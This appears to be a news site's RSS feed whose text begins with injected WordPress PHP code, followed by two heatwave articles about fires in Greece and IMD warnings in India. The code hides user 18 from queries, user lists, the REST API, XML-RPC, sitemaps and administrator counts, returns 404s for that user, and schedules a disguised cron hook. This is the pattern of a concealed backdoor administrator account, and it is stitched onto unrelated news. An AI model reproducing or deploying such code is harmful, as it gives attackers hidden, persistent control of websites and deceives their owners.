add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “We are facing the worst heatwave since 1987,” PM Kyriakos Mitsotakis appeared first on The Edge Media.
]]>Fires have also raged across Turkey, Spain and Italy over the weekend with experts warning climate change was increasing both the frequency and intensity of such blazes.
More than 3,000 hectares (7,400 acres) of pine and olive groves have been torched by a fire that broke out on Saturday near the city of Patras, 200 kilometres (125 miles) west of Athens, according to the National Observatory of Athens citing EU satellite images.
And the authorities were rushing to bolster crews fighting a blaze on the island of Rhodes near Turkey.
“We are facing the worst heatwave since 1987,” Prime Minister Kyriakos Mitsotakis said, adding that the authorities were doing “everything possible” to deal with the situation.
After meeting electricity providers, he warned that the brutal heat was putting a strain on the power network and asked for Greeks to limit their consumption in the early afternoon and during the night.
Deputy Civil Protection Minister Nikos Hardalias said that there had been 1,584 fires across Greece in July compared to 953 in 2019, and that there had been 116 new blazes in just the last 24 hours.
“We are no longer talking about climate change but about a climate threat,” he told Star TV.
The fire near Patras was not fully under control on Monday, the country’s weather service told the ANA news agency.
The post “We are facing the worst heatwave since 1987,” PM Kyriakos Mitsotakis appeared first on The Edge Media.
]]>The post Heatwave Conditions To Grip Andhra Pradesh, Tamil Nadu, Puducherry and Parts of South India in Coming Days appeared first on The Edge Media.
]]>In large areas, IMD declares a heatwave when the maximum temperature is 45 degrees Celsius for two consecutive days and a severe heatwave is when the mercury touches the 47 degrees-mark for consecutive two days. In small areas, a heatwave is declared if the temperature soars to 45 degrees Celsius even for a day.
Several regions in Tamil Nadu, Puducherry, and its surrounding regions will experience heatwave conditions during the next 3 days, the IMD said. Meanwhile, the heatwave conditions will continue to grip Saurashtra and Kutch in Gujarat apart from Rajasthan and Maharashtra’s Vidharbha region. The IMD said dust-raising winds, with speed reaching 30-40 kmph, is very likely at isolated places over West Rajasthan on April 5.
The IMD predicted widespread rainfall for Andaman and Nicobar during the next 24 hours. “Scattered to fairly widespread rainfall with thunderstorms, lightning and gusty winds very likely over Andaman & Nicobar Islands during next 24 hours and isolated light to moderate rainfall thereafter for subsequent 3-4 days”, the IMD said in its release.
The post Heatwave Conditions To Grip Andhra Pradesh, Tamil Nadu, Puducherry and Parts of South India in Coming Days appeared first on The Edge Media.
]]>